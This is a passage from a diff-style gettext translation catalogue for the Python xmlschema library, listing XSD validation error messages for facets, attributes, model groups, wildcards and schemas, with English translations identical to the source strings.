+msgstr "not a redefinition!" + +#: xmlschema/validators/global_maps.py:234 +msgid "wrong tag {!r} for an XSD global definition/declaration" +msgstr "wrong tag {!r} for an XSD global definition/declaration" + +#: xmlschema/validators/global_maps.py:313 +#: xmlschema/validators/global_maps.py:330 +msgid "wrong element {0!r} for map {1!r}" +msgstr "wrong element {0!r} for map {1!r}" + +#: xmlschema/validators/global_maps.py:339 +msgid "redefined schema {!r} has a different targetNamespace" +msgstr "redefined schema {!r} has a different targetNamespace" + +#: xmlschema/validators/global_maps.py:350 +msgid "unexpected instance {!r} in global map" +msgstr "unexpected instance {!r} in global map" + +#: xmlschema/validators/global_maps.py:382 +msgid "{0!r} cannot substitute {1!r}" +msgstr "{0!r} cannot substitute {1!r}" + +#: xmlschema/validators/global_maps.py:578 +msgid "missing XSD namespace in meta-schema instance {!r}" +msgstr "missing XSD namespace in meta-schema instance {!r}" + +#: xmlschema/validators/global_maps.py:587 +msgid "missing default meta-schema instance {!r}" +msgstr "missing default meta-schema instance {!r}" + +#: xmlschema/validators/global_maps.py:639 +msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" +msgstr "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" + +#: xmlschema/validators/global_maps.py:682 +msgid "global element not built!" +msgstr "global element not built!" + +#: xmlschema/validators/global_maps.py:684 +msgid "circularity found for substitution group with head element {}" +msgstr "circularity found for substitution group with head element {}" + +#: xmlschema/validators/global_maps.py:689 +#, python-format +msgid "global map has unbuilt components: %r" +msgstr "global map has unbuilt components: %r" + +#: xmlschema/validators/global_maps.py:694 +msgid "global group not built!" +msgstr "global group not built!" + +#: xmlschema/validators/global_maps.py:701 +msgid "the redefined group is an illegal restriction" +msgstr "the redefined group is an illegal restriction" + +#: xmlschema/validators/global_maps.py:717 +msgid "the derived group is an illegal restriction" +msgstr "the derived group is an illegal restriction" + +#: xmlschema/validators/global_maps.py:727 +msgid "restriction has an open content but base type has not" +msgstr "restriction has an open content but base type has not" + +#: xmlschema/validators/global_maps.py:733 +msgid "" +"can't verify the content model of {!r} due to exceeding of maximum recursion " +"depth" +msgstr "" +"can't verify the content model of {!r} due to exceeding of maximum recursion " +"depth" + +#: xmlschema/validators/facets.py:63 +msgid "invalid type {!r} provided" +msgstr "invalid type {!r} provided" + +#: xmlschema/validators/facets.py:84 +msgid "{0!r} facet value is fixed to {1!r}" +msgstr "{0!r} facet value is fixed to {1!r}" + +#: xmlschema/validators/facets.py:135 xmlschema/validators/facets.py:138 +msgid "facet value can be only 'collapse'" +msgstr "facet value can be only 'collapse'" + +#: xmlschema/validators/facets.py:140 +msgid "facet value can be only 'replace' or 'collapse'" +msgstr "facet value can be only 'replace' or 'collapse'" + +#: xmlschema/validators/facets.py:145 +msgid "value contains tabs or newlines" +msgstr "value contains tabs or newlines" + +#: xmlschema/validators/facets.py:151 +msgid "value contains non collapsed white spaces" +msgstr "value contains non collapsed white spaces" + +#: xmlschema/validators/facets.py:175 +msgid "base facet has a different length ({})" +msgstr "base facet has a different length ({})" + +#: xmlschema/validators/facets.py:185 +msgid "length has to be {!r}" +msgstr "length has to be {!r}" + +#: xmlschema/validators/facets.py:209 +msgid "base facet has a greater min length ({})" +msgstr "base facet has a greater min length ({})" + +#: xmlschema/validators/facets.py:219 +msgid "value length cannot be lesser than {!r}" +msgstr "value length cannot be lesser than {!r}" + +#: xmlschema/validators/facets.py:243 +msgid "base type has a lesser max length ({})" +msgstr "base type has a lesser max length ({})" + +#: xmlschema/validators/facets.py:253 +msgid "value length cannot be greater than {!r}" +msgstr "value length cannot be greater than {!r}" + +#: xmlschema/validators/facets.py:276 xmlschema/validators/facets.py:307 +#: xmlschema/validators/facets.py:342 xmlschema/validators/facets.py:373 +msgid "invalid restriction: {}" +msgstr "invalid restriction: {}" + +#: xmlschema/validators/facets.py:281 +msgid "value has to be greater or equal than {!r}" +msgstr "value has to be greater or equal than {!r}" + +#: xmlschema/validators/facets.py:311 +msgid "invalid restriction: {} is also the maximum" +msgstr "invalid restriction: {} is also the maximum" + +#: xmlschema/validators/facets.py:317 +msgid "value has to be greater than {!r}" +msgstr "value has to be greater than {!r}" + +#: xmlschema/validators/facets.py:347 +msgid "value has to be less than or equal than {!r}" +msgstr "value has to be less than or equal than {!r}" + +#: xmlschema/validators/facets.py:377 +msgid "invalid restriction: {} is also the minimum" +msgstr "invalid restriction: {} is also the minimum" + +#: xmlschema/validators/facets.py:383 +msgid "value has to be lesser than {!r}" +msgstr "value has to be lesser than {!r}" + +#: xmlschema/validators/facets.py:418 xmlschema/validators/facets.py:475 +msgid "invalid restriction: base value is lower ({})" +msgstr "invalid restriction: base value is lower ({})" + +#: xmlschema/validators/facets.py:428 +msgid "the number of digits has to be lesser or equal than {!r}" +msgstr "the number of digits has to be lesser or equal than {!r}" + +#: xmlschema/validators/facets.py:456 +msgid "" +"fractionDigits facet can be applied only to types derived from xs:decimal" +msgstr "" +"fractionDigits facet can be applied only to types derived from xs:decimal" + +#: xmlschema/validators/facets.py:470 +msgid "fractionDigits facet value must be 0 for types derived from xs:integer" +msgstr "fractionDigits facet value must be 0 for types derived from xs:integer" + +#: xmlschema/validators/facets.py:485 +msgid "the number of fraction digits has to be lesser or equal than {!r}" +msgstr "the number of fraction digits has to be lesser or equal than {!r}" + +#: xmlschema/validators/facets.py:517 +msgid "invalid restriction from {!r}" +msgstr "invalid restriction from {!r}" + +#: xmlschema/validators/facets.py:522 +msgid "time zone required for value {!r}" +msgstr "time zone required for value {!r}" + +#: xmlschema/validators/facets.py:527 +msgid "time zone prohibited for value {!r}" +msgstr "time zone prohibited for value {!r}" + +#: xmlschema/validators/facets.py:571 +msgid "value {!r} must match a notation declaration" +msgstr "value {!r} must match a notation declaration" + +#: xmlschema/validators/facets.py:629 +msgid "value must be one of {!r}" +msgstr "value must be one of {!r}" + +#: xmlschema/validators/facets.py:725 +msgid "value doesn't match any pattern of {!r}" +msgstr "value doesn't match any pattern of {!r}" + +#: xmlschema/validators/facets.py:789 +msgid "missing attribute 'test'" +msgstr "missing attribute 'test'" + +#: xmlschema/validators/facets.py:819 +msgid "value is not true with test path {!r}" +msgstr "value is not true with test path {!r}" + +#: xmlschema/validators/attributes.py:82 +msgid "unknown attribute {!r}" +msgstr "unknown attribute {!r}" + +#: xmlschema/validators/attributes.py:97 +msgid "referenced attribute has a different fixed value {!r}" +msgstr "referenced attribute has a different fixed value {!r}" + +#: xmlschema/validators/attributes.py:102 +msgid "attribute {!r} is not allowed when attribute reference is used" +msgstr "attribute {!r} is not allowed when attribute reference is used" + +#: xmlschema/validators/attributes.py:118 +msgid "an attribute name must be different from 'xmlns'" +msgstr "an attribute name must be different from 'xmlns'" + +#: xmlschema/validators/attributes.py:125 +#, python-format +msgid "cannot add attributes in %r namespace" +msgstr "cannot add attributes in %r namespace" + +#: xmlschema/validators/attributes.py:146 +msgid "ambiguous type definition for XSD attribute" +msgstr "ambiguous type definition for XSD attribute" + +#: xmlschema/validators/attributes.py:158 +msgid "XSD attribute's type must be a simpleType" +msgstr "XSD attribute's type must be a simpleType" + +#: xmlschema/validators/attributes.py:169 +msgid "" +"the attribute 'use' must be 'optional' if the attribute 'default' is present" +msgstr "" +"the attribute 'use' must be 'optional' if the attribute 'default' is present" + +#: xmlschema/validators/attributes.py:174 +msgid "default value {!r} is not compatible with attribute's type" +msgstr "default value {!r} is not compatible with attribute's type" + +#: xmlschema/validators/attributes.py:177 +msgid "xs:ID key attributes cannot have a default value" +msgstr "xs:ID key attributes cannot have a default value" + +#: xmlschema/validators/attributes.py:183 +msgid "fixed value {!r} is not compatible with attribute's type" +msgstr "fixed value {!r} is not compatible with attribute's type" + +#: xmlschema/validators/attributes.py:186 +msgid "xs:ID key attributes cannot have a fixed value" +msgstr "xs:ID key attributes cannot have a fixed value" + +#: xmlschema/validators/attributes.py:249 +msgid "attribute {0!r} has a fixed value {1!r}" +msgstr "attribute {0!r} has a fixed value {1!r}" + +#: xmlschema/validators/attributes.py:254 +msgid "attribute {0}={1!r}: {2}" +msgstr "attribute {0}={1!r}: {2}" + +#: xmlschema/validators/attributes.py:319 +msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" +msgstr "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" + +#: xmlschema/validators/attributes.py:413 +msgid "more anyAttribute declarations in the same attribute group" +msgstr "more anyAttribute declarations in the same attribute group" + +#: xmlschema/validators/attributes.py:416 +msgid "another declaration after anyAttribute" +msgstr "another declaration after anyAttribute" + +#: xmlschema/validators/attributes.py:431 +msgid "multiple declaration for attribute {!r}" +msgstr "multiple declaration for attribute {!r}" + +#: xmlschema/validators/attributes.py:440 +msgid "the attribute 'ref' is required in a local attributeGroup" +msgstr "the attribute 'ref' is required in a local attributeGroup" + +#: xmlschema/validators/attributes.py:450 +msgid "duplicated attributeGroup {!r}" +msgstr "duplicated attributeGroup {!r}" + +#: xmlschema/validators/attributes.py:456 +msgid "in a redefinition the reference to itself must be the first" +msgstr "in a redefinition the reference to itself must be the first" + +#: xmlschema/validators/attributes.py:467 +msgid "attributeGroup ref={!r} is not in the redefined group" +msgstr "attributeGroup ref={!r} is not in the redefined group" + +#: xmlschema/validators/attributes.py:471 +msgid "Circular attribute groups not allowed in XSD 1.0" +msgstr "Circular attribute groups not allowed in XSD 1.0" + +#: xmlschema/validators/attributes.py:479 +msgid "unknown attribute group {!r}" +msgstr "unknown attribute group {!r}" + +#: xmlschema/validators/attributes.py:488 +msgid "multiple declaration of attribute {!r}" +msgstr "multiple declaration of attribute {!r}" + +#: xmlschema/validators/attributes.py:497 +msgid "Circular reference found between attribute groups {0!r} and {1!r}" +msgstr "Circular reference found between attribute groups {0!r} and {1!r}" + +#: xmlschema/validators/attributes.py:502 +msgid "(attribute | attributeGroup) expected, found {!r}." +msgstr "(attribute | attributeGroup) expected, found {!r}." + +#: xmlschema/validators/attributes.py:513 +msgid "Unexpected attribute {!r} in restriction" +msgstr "Unexpected attribute {!r} in restriction" + +#: xmlschema/validators/attributes.py:529 +msgid "Attribute wildcard is not a restriction of the base wildcard" +msgstr "Attribute wildcard is not a restriction of the base wildcard" + +#: xmlschema/validators/attributes.py:539 +msgid "Attribute type is not a restriction of the base attribute type" +msgstr "Attribute type is not a restriction of the base attribute type" + +#: xmlschema/validators/attributes.py:544 +msgid "Attribute {!r}: unmatched attribute use in restriction" +msgstr "Attribute {!r}: unmatched attribute use in restriction" + +#: xmlschema/validators/attributes.py:550 +msgid "Attribute {!r}: derived attribute has a different fixed value" +msgstr "Attribute {!r}: derived attribute has a different fixed value" + +#: xmlschema/validators/attributes.py:554 +msgid "Attribute {!r}: 'inheritable' property change in restriction" +msgstr "Attribute {!r}: 'inheritable' property change in restriction" + +#: xmlschema/validators/attributes.py:568 +msgid "Missing required attribute {!r} in redefinition restriction" +msgstr "Missing required attribute {!r} in redefinition restriction" + +#: xmlschema/validators/attributes.py:573 +msgid "Attribute {!r}: unmatched attribute use in redefinition" +msgstr "Attribute {!r}: unmatched attribute use in redefinition" + +#: xmlschema/validators/attributes.py:576 +msgid "Attribute {!r}: redefinition remove fixed constraint" +msgstr "Attribute {!r}: redefinition remove fixed constraint" + +#: xmlschema/validators/attributes.py:585 +msgid "Redefinition restriction contains additional attribute {!r}" +msgstr "Redefinition restriction contains additional attribute {!r}" + +#: xmlschema/validators/attributes.py:589 +msgid "Wrong attribute order in redefinition restriction" +msgstr "Wrong attribute order in redefinition restriction" + +#: xmlschema/validators/attributes.py:607 +msgid "multiple ID attributes not allowed for XSD 1.0" +msgstr "multiple ID attributes not allowed for XSD 1.0" + +#: xmlschema/validators/attributes.py:660 +#: xmlschema/validators/attributes.py:738 +msgid "missing required attribute {!r}" +msgstr "missing required attribute {!r}" + +#: xmlschema/validators/attributes.py:695 +#: xmlschema/validators/attributes.py:760 +#, python-format +msgid "%r is not an attribute of the XSI namespace" +msgstr "%r is not an attribute of the XSI namespace" + +#: xmlschema/validators/attributes.py:703 +#: xmlschema/validators/attributes.py:768 +#, python-format +msgid "%r attribute not allowed for element" +msgstr "%r attribute not allowed for element" + +#: xmlschema/validators/attributes.py:709 +#, python-format +msgid "use of attribute %r is prohibited" +msgstr "use of attribute %r is prohibited" + +#: xmlschema/validators/exceptions.py:345 +#, python-format +msgid "Unexpected child with tag %r at position %d." +msgstr "Unexpected child with tag %r at position %d." + +#: xmlschema/validators/exceptions.py:372 +#, python-format +msgid " Tag (%s) expected." +msgstr " Tag (%s) expected." + +#: xmlschema/validators/exceptions.py:374 +#, python-format +msgid " Tag %s expected." +msgstr " Tag %s expected." + +#: xmlschema/validators/exceptions.py:376 +#, python-format +msgid " Tag %r expected." +msgstr " Tag %r expected." + +#: xmlschema/validators/groups.py:355 +msgid "{!r} is not a particle of the model group" +msgstr "{!r} is not a particle of the model group" + +#: xmlschema/validators/groups.py:413 xmlschema/validators/groups.py:455 +msgid "attribute 'name' not allowed in a local group" +msgstr "attribute 'name' not allowed in a local group" + +#: xmlschema/validators/groups.py:422 +#, python-format +msgid "missing group %r" +msgstr "missing group %r" + +#: xmlschema/validators/groups.py:429 xmlschema/validators/groups.py:485 +msgid "maxOccurs must be 1 for 'all' model groups" +msgstr "maxOccurs must be 1 for 'all' model groups" + +#: xmlschema/validators/groups.py:432 xmlschema/validators/groups.py:488 +#: xmlschema/validators/groups.py:1285 +msgid "minOccurs must be (0 | 1) for 'all' model groups" +msgstr "minOccurs must be (0 | 1) for 'all' model groups" + +#: xmlschema/validators/groups.py:435 +msgid "in XSD 1.0 an 'all' model group cannot be nested" +msgstr "in XSD 1.0 an 'all' model group cannot be nested" + +#: xmlschema/validators/groups.py:441 xmlschema/validators/groups.py:523 +#: xmlschema/validators/groups.py:1317 +#, python-format +msgid "Circular definition detected for group %r" +msgstr "Circular definition detected for group %r" + +#: xmlschema/validators/groups.py:459 xmlschema/validators/groups.py:469 +msgid "attribute 'minOccurs' not allowed in a global group" +msgstr "attribute 'minOccurs' not allowed in a global group" + +#: xmlschema/validators/groups.py:462 xmlschema/validators/groups.py:472 +msgid "attribute 'maxOccurs' not allowed in a global group" +msgstr "attribute 'maxOccurs' not allowed in a global group" + +#: xmlschema/validators/groups.py:499 +msgid "'all' model can contain only elements" +msgstr "'all' model can contain only elements" + +#: xmlschema/validators/groups.py:509 xmlschema/validators/groups.py:1301 +msgid "missing attribute 'ref' in local group" +msgstr "missing attribute 'ref' in local group" + +#: xmlschema/validators/groups.py:518 +msgid "'all' model can appears only at 1st level of a model group" +msgstr "'all' model can appears only at 1st level of a model group" + +#: xmlschema/validators/groups.py:527 xmlschema/validators/groups.py:1321 +msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" +msgstr "Redefined group reference cannot have minOccurs/maxOccurs other than 1" + +#: xmlschema/validators/groups.py:821 +msgid "" +"Element Declarations Consistent violation between {0!r} and {1!r}: match the " +"same name but with different types" +msgstr "" +"Element Declarations Consistent violation between {0!r} and {1!r}: match the " +"same name but with different types" + +#: xmlschema/validators/groups.py:835 +msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" +msgstr "{0!r} and {1!r} overlap and are in the same {2!r} group" + +#: xmlschema/validators/groups.py:847 +msgid "Unique Particle Attribution violation between {0!r} and {1!r}" +msgstr "Unique Particle Attribution violation between {0!r} and {1!r}" + +#: xmlschema/validators/groups.py:860 +#, python-format +msgid "substitution of %r is blocked" +msgstr "substitution of %r is blocked" + +#: xmlschema/validators/groups.py:909 +msgid "usage of {0!r} with type {1} is blocked by head element" +msgstr "usage of {0!r} with type {1} is blocked by head element" + +#: xmlschema/validators/groups.py:934 +msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" +msgstr "" +"{0!r} that matches {1!r} is not consistent with local declaration {2!r}" + +#: xmlschema/validators/groups.py:940 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." +msgstr "Maybe a not equivalent type table between elements {0!r} and {1!r}." + +#: xmlschema/validators/groups.py:970 +msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" +msgstr "an empty 'choice' group with minOccurs > 0 cannot validate any content" + +#: xmlschema/validators/groups.py:982 xmlschema/validators/groups.py:1242 +msgid "character data between child elements not allowed" +msgstr "character data between child elements not allowed" + +#: xmlschema/validators/groups.py:995 +#, python-format +msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" +msgstr "XML data depth exceeded (MAX_XML_DEPTH=%r)" + +#: xmlschema/validators/groups.py:1202 +msgid "{!r} does not match any declared element of the model group" +msgstr "{!r} does not match any declared element of the model group" + +#: xmlschema/validators/groups.py:1205 +msgid "{0} has an unknown prefix {1!r}" +msgstr "{0} has an unknown prefix {1!r}" + +#: xmlschema/validators/groups.py:1238 +msgid "wrong content type {!r}" +msgstr "wrong content type {!r}" + +#: xmlschema/validators/groups.py:1282 +msgid "maxOccurs must be (0 | 1) for 'all' model groups" +msgstr "maxOccurs must be (0 | 1) for 'all' model groups" + +#: xmlschema/validators/groups.py:1311 +#, python-brace-format +msgid "an xs:{0} group cannot include a reference to an xs:{1} group" +msgstr "an xs:{0} group cannot include a reference to an xs:{1} group" + +#: xmlschema/validators/wildcards.py:76 +#, python-format +msgid "wrong value %r in 'namespace' attribute" +msgstr "wrong value %r in 'namespace' attribute" + +#: xmlschema/validators/wildcards.py:85 +#, python-format +msgid "wrong value %r for 'processContents' attribute" +msgstr "wrong value %r for 'processContents' attribute" + +#: xmlschema/validators/wildcards.py:94 +msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" +msgstr "'namespace' and 'notNamespace' attributes are mutually exclusive" + +#: xmlschema/validators/wildcards.py:105 +#, python-format +msgid "wrong value %r in 'notNamespace' attribute" +msgstr "wrong value %r in 'notNamespace' attribute" + +#: xmlschema/validators/wildcards.py:121 +msgid "wrong value for 'notQName' attribute" +msgstr "wrong value for 'notQName' attribute" + +#: xmlschema/validators/wildcards.py:128 +#, python-format +msgid "unmapped QName in 'notQName' attribute: %s" +msgstr "unmapped QName in 'notQName' attribute: %s" + +#: xmlschema/validators/wildcards.py:132 +#, python-format +msgid "wrong QName format in 'notQName' attribute: %s" +msgstr "wrong QName format in 'notQName' attribute: %s" + +#: xmlschema/validators/wildcards.py:140 +msgid "the namespace of each QName in notQName is allowed by notNamespace" +msgstr "the namespace of each QName in notQName is allowed by notNamespace" + +#: xmlschema/validators/wildcards.py:144 +msgid "names in notQName must be in namespaces that are allowed" +msgstr "names in notQName must be in namespaces that are allowed" + +#: xmlschema/validators/wildcards.py:319 +msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" +msgstr "not expressible wildcard namespace union: {0!r} V {1!r}:" + +#: xmlschema/validators/wildcards.py:473 xmlschema/validators/wildcards.py:515 +msgid "element {!r} is not allowed here" +msgstr "element {!r} is not allowed here" + +#: xmlschema/validators/wildcards.py:651 xmlschema/validators/wildcards.py:681 +#, python-format +msgid "attribute %r not allowed" +msgstr "attribute %r not allowed" + +#: xmlschema/validators/wildcards.py:663 xmlschema/validators/wildcards.py:693 +#, python-format +msgid "attribute %r not found" +msgstr "attribute %r not found" + +#: xmlschema/validators/wildcards.py:670 xmlschema/validators/wildcards.py:700 +msgid "unavailable namespace {!r}" +msgstr "unavailable namespace {!r}" + +#: xmlschema/validators/wildcards.py:857 +#, python-format +msgid "wrong value %r for 'mode' attribute" +msgstr "wrong value %r for 'mode' attribute" + +#: xmlschema/validators/wildcards.py:863 +msgid "" +"an openContent with mode='none' cannot have an <xs:any> child declaration" +msgstr "" +"an openContent with mode='none' cannot have an <xs:any> child declaration" + +#: xmlschema/validators/wildcards.py:867 +msgid "an <xs:any> child declaration is required" +msgstr "an <xs:any> child declaration is required" + +#: xmlschema/validators/wildcards.py:908 +msgid "defaultOpenContent must be a child of the schema" +msgstr "defaultOpenContent must be a child of the schema" + +#: xmlschema/validators/wildcards.py:911 +msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" +msgstr "the attribute 'mode' of a defaultOpenContent cannot be 'none'" + +#: xmlschema/validators/wildcards.py:914 +msgid "a defaultOpenContent declaration cannot be empty" +msgstr "a defaultOpenContent declaration cannot be empty" + +#: xmlschema/validators/schemas.py:156 +msgid "XSD_VERSION must be '1.0' or '1.1'" +msgstr "XSD_VERSION must be '1.0' or '1.1'" + +#: xmlschema/validators/schemas.py:336 +msgid "{!r} is not a valid loglevel" +msgstr "{!r} is not a valid loglevel" + +#: xmlschema/validators/schemas.py:352 +msgid "no XSD source provided!" +msgstr "no XSD source provided!" + +#: xmlschema/validators/schemas.py:380 +msgid "the attribute 'targetNamespace' cannot be an empty string" +msgstr "the attribute 'targetNamespace' cannot be an empty string" + +#: xmlschema/validators/schemas.py:383 +msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" +msgstr "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" + +#: xmlschema/validators/schemas.py:460 +#, python-format +msgid "'global_maps' argument must be an %r instance" +msgstr "'global_maps' argument must be an %r instance" + +#: xmlschema/validators/schemas.py:542 +msgid "cannot change the global maps instance of a meta-schema" +msgstr "cannot change the global maps instance of a meta-schema" + +#: xmlschema/validators/schemas.py:675 xmlschema/validators/schemas.py:970 +#, python-format +msgid "meta-schema unavailable for %r" +msgstr "meta-schema unavailable for %r" + +#: xmlschema/validators/schemas.py:682 +msgid "missing XSD namespace in meta-schema" +msgstr "missing XSD namespace in meta-schema" + +#: xmlschema/validators/schemas.py:754 +msgid "Missing meta-schema source URL" +msgstr "Missing meta-schema source URL" + +#: xmlschema/validators/schemas.py:766 +msgid "" +"The argument 'base_schemas' must be a dictionary or a sequence of couples" +msgstr "" +"The argument 'base_schemas' must be a dictionary or a sequence of couples" + +#: xmlschema/validators/schemas.py:803 xmlschema/validators/schemas.py:815 +msgid "(restriction | list | union) expected" +msgstr "(restriction | list | union) expected" + +#: xmlschema/validators/schemas.py:826 +msgid "missing attribute 'name' in a global simpleType" +msgstr "missing attribute 'name' in a global simpleType" + +#: xmlschema/validators/schemas.py:831 +msgid "attribute 'name' not allowed for a local simpleType" +msgstr "attribute 'name' not allowed for a local simpleType" + +#: xmlschema/validators/schemas.py:875 +msgid "'model' argument must be (sequence | choice | all)" +msgstr "'model' argument must be (sequence | choice | all)" + +#: xmlschema/validators/schemas.py:990 +#, python-format +msgid "schema %r is not built" +msgstr "schema %r is not built" + +#: xmlschema/validators/schemas.py:1095 +msgid "the namespace {!r} is not loaded" +msgstr "the namespace {!r} is not loaded" + +#: xmlschema/validators/schemas.py:1117 +msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" +msgstr "'converter' argument must be a {0!r} subclass or instance: {1!r}" + +#: xmlschema/validators/schemas.py:1172 +msgid "cannot include schema {0!r}: {1}" +msgstr "cannot include schema {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1186 +#, python-format +msgid "Redefine schema failed: %s" +msgstr "Redefine schema failed: %s" + +#: xmlschema/validators/schemas.py:1191 +msgid "cannot redefine schema {0!r}: {1}" +msgstr "cannot redefine schema {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1207 +#, python-format +msgid "Override schema failed: %s" +msgstr "Override schema failed: %s" + +#: xmlschema/validators/schemas.py:1269 +msgid "" +"if the 'namespace' attribute is not present on the import statement then the " +"imported schema must have a 'targetNamespace'" +msgstr "" +"if the 'namespace' attribute is not present on the import statement then the " +"imported schema must have a 'targetNamespace'" + +#: xmlschema/validators/schemas.py:1275 +msgid "" +"the attribute 'namespace' must be different from schema's 'targetNamespace'" +msgstr "" +"the attribute 'namespace' must be different from schema's 'targetNamespace'" + +#: xmlschema/validators/schemas.py:1322 +msgid "cannot import namespace {0!r}: {1}" +msgstr "cannot import namespace {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1324 +#, python-format +msgid "cannot import chameleon schema: %s" +msgstr "cannot import chameleon schema: %s" + +#: xmlschema/validators/schemas.py:1388 +msgid "imported schema {0!r} has an unmatched namespace {1!r}" +msgstr "imported schema {0!r} has an unmatched namespace {1!r}" + +#: xmlschema/validators/schemas.py:1435 +msgid "target directory {} is not empty" +msgstr "target directory {} is not empty" + +#: xmlschema/validators/schemas.py:1438 +msgid "target {} is not a directory" +msgstr "target {} is not a directory" + +#: xmlschema/validators/schemas.py:1441 +msgid "target parent directory {} does not exist" +msgstr "target parent directory {} does not exist" + +#: xmlschema/validators/schemas.py:1444 +msgid "target parent {} is not a directory" +msgstr "target parent {} is not a directory" + +#: xmlschema/validators/schemas.py:1537 +msgid "invalid attribute vc:minVersion value" +msgstr "invalid attribute vc:minVersion value" + +#: xmlschema/validators/schemas.py:1546 +msgid "invalid attribute vc:maxVersion value" +msgstr "invalid attribute vc:maxVersion value" + +#: xmlschema/validators/schemas.py:1622 xmlschema/validators/schemas.py:1629 +#: xmlschema/validators/schemas.py:1635 +msgid "{!r} is not a valid value for xs:QName" +msgstr "{!r} is not a valid value for xs:QName" + +#: xmlschema/validators/schemas.py:1641 +msgid "prefix {!r} not found in namespace map" +msgstr "prefix {!r} not found in namespace map" + +#: xmlschema/validators/schemas.py:1648 +msgid "" +"the QName {!r} is mapped to no namespace, but this requires that there is an " +"xs:import statement in the schema without the 'namespace' attribute." +msgstr "" +"the QName {!r} is mapped to no namespace, but this requires that there is an " +"xs:import statement in the schema without the 'namespace' attribute." + +#: xmlschema/validators/schemas.py:1657 +msgid "" +"the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not " +"an xs:import statement in the schema." +msgstr "" +"the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not " +"an xs:import statement in the schema." + +#: xmlschema/validators/schemas.py:1798 xmlschema/validators/schemas.py:1852 +#: xmlschema/validators/schemas.py:1997 +msgid "{!r} is not an element of the schema" +msgstr "{!r} is not an element of the schema" + +#: xmlschema/validators/schemas.py:1826 +#, python-format +msgid "IDREF %r not found in XML document" +msgstr "IDREF %r not found in XML document" + +#: xmlschema/validators/schemas.py:2076 +msgid "encoding needs at least one XSD element declaration" +msgstr "encoding needs at least one XSD element declaration" + +#: xmlschema/validators/schemas.py:2110 +#, python-format +msgid "the path %r doesn't match any element of the schema!" +msgstr "the path %r doesn't match any element of the schema!" + +#: xmlschema/validators/schemas.py:2112 +msgid "" +"unable to select an element for decoding data, provide a valid 'path' " +"argument." +msgstr "" +"unable to select an element for decoding data, provide a valid 'path' " +"argument." + +#: xmlschema/validators/simple_types.py:133 +msgid "facets not allowed for a direct derivation of xs:anySimpleType" +msgstr "facets not allowed for a direct derivation of xs:anySimpleType" + +#: xmlschema/validators/simple_types.py:137 +msgid "facets not allowed for a direct content derivation of xs:anySimpleType" +msgstr "facets not allowed for a direct content derivation of xs:anySimpleType" + +#: xmlschema/validators/simple_types.py:143 +msgid "one or more facets are not applicable, admitted set is {!r}" +msgstr "one or more facets are not applicable, admitted set is {!r}" + +#: xmlschema/validators/simple_types.py:149 +#, python-format +msgid "facet group must have the same base type: %r" +msgstr "facet group must have the same base type: %r" + +#: xmlschema/validators/simple_types.py:159 +msgid "'length' value must be non a negative integer" +msgstr "'length' value must be non a negative integer" + +#: xmlschema/validators/simple_types.py:163 +msgid "'minLength' value must be less than or equal to 'length'" +msgstr "'minLength' value must be less than or equal to 'length'" + +#: xmlschema/validators/simple_types.py:170 +msgid "cannot specify both 'length' and 'minLength'" +msgstr "cannot specify both 'length' and 'minLength'" + +#: xmlschema/validators/simple_types.py:175 +msgid "'maxLength' value must be greater or equal to 'length'" +msgstr "'maxLength' value must be greater or equal to 'length'" + +#: xmlschema/validators/simple_types.py:183 +msgid "cannot specify both 'length' and 'maxLength'" +msgstr "cannot specify both 'length' and 'maxLength'" + +#: xmlschema/validators/simple_types.py:192 +msgid "'minLength' value must be a non negative integer" +msgstr "'minLength' value must be a non negative integer" + +#: xmlschema/validators/simple_types.py:195 +msgid "'maxLength' value is less than 'minLength'" +msgstr "'maxLength' value is less than 'minLength'" + +#: xmlschema/validators/simple_types.py:198 +msgid "'minLength' has a lesser value than parent" +msgstr "'minLength' has a lesser value than parent" + +#: xmlschema/validators/simple_types.py:201 +msgid "'minLength' has a greater value than parent 'maxLength'" +msgstr "'minLength' has a greater value than parent 'maxLength'" + +#: xmlschema/validators/simple_types.py:206 +msgid "'maxLength' value must be a non negative integer" +msgstr "'maxLength' value must be a non negative integer" + +#: xmlschema/validators/simple_types.py:209 +msgid "'maxLength' has a lesser value than parent 'minLength'" +msgstr "'maxLength' has a lesser value than parent 'minLength'" + +#: xmlschema/validators/simple_types.py:212 +msgid "'maxLength' has a greater value than parent" +msgstr "'maxLength' has a greater value than parent" + +#: xmlschema/validators/simple_types.py:223 +msgid "cannot specify both 'minInclusive' and 'minExclusive'" +msgstr "cannot specify both 'minInclusive' and 'minExclusive'" + +#: xmlschema/validators/simple_types.py:226 +msgid "'minInclusive' must be less or equal to 'maxInclusive'" +msgstr "'minInclusive' must be less or equal to 'maxInclusive'" + +#: xmlschema/validators/simple_types.py:229 +msgid "'minInclusive' must be lesser than 'maxExclusive'" +msgstr "'minInclusive' must be lesser than 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:234 +msgid "'minExclusive' must be lesser than 'maxInclusive'" +msgstr "'minExclusive' must be lesser than 'maxInclusive'" + +#: xmlschema/validators/simple_types.py:237 +msgid "'minExclusive' must be less or equal to 'maxExclusive'" +msgstr "'minExclusive' must be less or equal to 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:241 +msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" +msgstr "cannot specify both 'maxInclusive' and 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:247 +msgid "" +"fractionDigits facet value cannot be lesser than the value of totalDigits " +"facet" +msgstr "" +"fractionDigits facet value cannot be lesser than the value of totalDigits " +"facet" + +#: xmlschema/validators/simple_types.py:253 +msgid 